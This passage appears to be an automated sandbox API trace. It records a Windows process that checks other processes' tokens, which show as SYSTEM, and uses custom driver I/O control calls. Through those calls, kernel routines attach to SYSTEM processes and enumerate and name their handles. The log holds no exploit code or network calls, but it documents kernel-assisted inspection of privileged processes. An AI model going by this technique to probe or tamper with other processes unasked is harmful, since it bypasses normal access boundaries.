TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0103.270] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0103.272] CloseHandle (hObject=0xc8) returned 1 [0103.272] CloseHandle (hObject=0xc0) returned 1 [0103.272] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.272] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0103.272] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.272] PsAcquireProcessExitSynchronization () returned 0x0 [0103.272] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0) [0103.272] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003006f20, HandleInformation=0x0) returned 0x0 [0103.272] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.272] PsReleaseProcessExitSynchronization () returned 0x2 [0103.272] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0103.272] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.272] ObfDereferenceObject (Object=0xfffffa8003006f20) returned 0x1 [0103.272] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.273] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.273] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.273] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0103.273] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.273] PsAcquireProcessExitSynchronization () returned 0x0 [0103.273] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0) [0103.273] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003047790, HandleInformation=0x0) returned 0x0 [0103.273] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.273] PsReleaseProcessExitSynchronization () returned 0x2 [0103.273] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0103.273] ObQueryNameString (in: Object=0xfffffa8003047790, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.273] ObfDereferenceObject (Object=0xfffffa8003047790) returned 0x1 [0103.273] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.273] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.273] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.273] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0103.273] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.273] PsAcquireProcessExitSynchronization () returned 0x0 [0103.273] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0) [0103.273] ObReferenceObjectByHandle (in: Handle=0xcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003049f20, HandleInformation=0x0) returned 0x0 [0103.273] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.273] PsReleaseProcessExitSynchronization () returned 0x2 [0103.273] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0103.273] ObQueryNameString (in: Object=0xfffffa8003049f20, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.274] ObfDereferenceObject (Object=0xfffffa8003049f20) returned 0x2 [0103.274] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.274] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.274] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.274] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0103.274] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.274] PsAcquireProcessExitSynchronization () returned 0x0 [0103.274] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0) [0103.274] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003049dd0, HandleInformation=0x0) returned 0x0 [0103.274] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.274] PsReleaseProcessExitSynchronization () returned 0x2 [0103.274] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0103.274] ObQueryNameString (in: Object=0xfffffa8003049dd0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.274] ObfDereferenceObject (Object=0xfffffa8003049dd0) returned 0x1 [0103.274] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.274] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.274] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.274] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0103.274] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.274] PsAcquireProcessExitSynchronization () returned 0x0 [0103.274] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0) [0103.274] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030c2490, HandleInformation=0x0) returned 0x0 [0103.274] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.274] PsReleaseProcessExitSynchronization () returned 0x2 [0103.274] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0103.274] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.274] ObfDereferenceObject (Object=0xfffffa80030c2490) returned 0x1 [0103.274] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.274] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.274] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.274] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.275] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.275] PsAcquireProcessExitSynchronization () returned 0x0 [0103.275] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0) [0103.275] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030f7dd0, HandleInformation=0x0) returned 0x0 [0103.275] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.275] PsReleaseProcessExitSynchronization () returned 0x2 [0103.275] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0103.275] ObQueryNameString (in: Object=0xfffffa80030f7dd0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.275] ObfDereferenceObject (Object=0xfffffa80030f7dd0) returned 0x2 [0103.275] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.275] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.275] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.275] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.275] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.275] PsAcquireProcessExitSynchronization () returned 0x0 [0103.275] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0) [0103.275] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030fb070, HandleInformation=0x0) returned 0x0 [0103.275] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.275] PsReleaseProcessExitSynchronization () returned 0x2 [0103.275] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0103.275] ObQueryNameString (in: Object=0xfffffa80030fb070, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.275] ObfDereferenceObject (Object=0xfffffa80030fb070) returned 0x2 [0103.275] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.275] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.275] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.275] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0103.275] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.275] PsAcquireProcessExitSynchronization () returned 0x0 [0103.275] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0) [0103.275] ObReferenceObjectByHandle (in: Handle=0x134, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030fc6b0, HandleInformation=0x0) returned 0x0 [0103.275] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.276] PsReleaseProcessExitSynchronization () returned 0x2 [0103.276] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0103.276] ObQueryNameString (in: Object=0xfffffa80030fc6b0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.276] ObfDereferenceObject (Object=0xfffffa80030fc6b0) returned 0x2 [0103.276] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.276] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.276] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.276] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.276] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.276] PsAcquireProcessExitSynchronization () returned 0x0 [0103.276] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0) [0103.276] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030ff790, HandleInformation=0x0) returned 0x0 [0103.276] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.276] PsReleaseProcessExitSynchronization () returned 0x2 [0103.276] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0103.276] ObQueryNameString (in: Object=0xfffffa80030ff790, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.276] ObfDereferenceObject (Object=0xfffffa80030ff790) returned 0x2 [0103.276] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.276] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.276] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.276] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.276] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.276] PsAcquireProcessExitSynchronization () returned 0x0 [0103.276] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff88004f095d0) [0103.276] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003100070, HandleInformation=0x0) returned 0x0 [0103.276] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.276] PsReleaseProcessExitSynchronization () returned 0x2 [0103.276] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0103.276] ObQueryNameString (in: Object=0xfffffa8003100070, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.276] ObfDereferenceObject (Object=0xfffffa8003100070) returned 0x2 [0103.276] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.276] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.276] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x184) returned 0xc0 [0103.277] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0103.277] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80018ba540, HandleInformation=0x0) returned 0x0 [0103.277] ObOpenObjectByPointer (in: Object=0xfffffa80018ba540, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000a44) returned 0x0 [0103.277] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x146 [0103.277] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a44, DesiredAccess=0x8, TokenHandle=0xfffffa8001a49b40 | out: TokenHandle=0xfffffa8001a49b40*=0xc8) returned 0x0 [0103.277] ZwClose (Handle=0xffffffff80000a44) returned 0x0 [0103.277] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.277] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0103.277] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0103.278] CloseHandle (hObject=0xc8) returned 1 [0103.279] CloseHandle (hObject=0xc0) returned 1 [0103.279] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.279] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0103.279] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.279] PsAcquireProcessExitSynchronization () returned 0x0 [0103.279] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.279] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003011f20, HandleInformation=0x0) returned 0x0 [0103.279] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.279] PsReleaseProcessExitSynchronization () returned 0x2 [0103.279] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.279] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0103.279] ObfDereferenceObject (Object=0xfffffa8003011f20) returned 0x1 [0103.279] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.279] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.279] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.279] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0103.279] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.279] PsAcquireProcessExitSynchronization () returned 0x0 [0103.279] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.279] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a004ab7f60, HandleInformation=0x0) returned 0x0 [0103.279] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.279] PsReleaseProcessExitSynchronization () returned 0x2 [0103.279] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.279] ObQueryNameString (in: Object=0xfffff8a004ab7f60, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.279] ObfDereferenceObject (Object=0xfffff8a004ab7f60) returned 0x2 [0103.279] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.279] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.279] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.279] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0103.280] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.280] PsAcquireProcessExitSynchronization () returned 0x0 [0103.280] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.280] ObReferenceObjectByHandle (in: Handle=0xb4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030564e0, HandleInformation=0x0) returned 0x0 [0103.280] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.280] PsReleaseProcessExitSynchronization () returned 0x2 [0103.280] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.280] ObQueryNameString (in: Object=0xfffffa80030564e0, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.280] ObfDereferenceObject (Object=0xfffffa80030564e0) returned 0x2 [0103.280] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.280] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.280] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.280] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0103.280] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.280] PsAcquireProcessExitSynchronization () returned 0x0 [0103.280] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.280] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003097c00, HandleInformation=0x0) returned 0x0 [0103.280] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.280] PsReleaseProcessExitSynchronization () returned 0x2 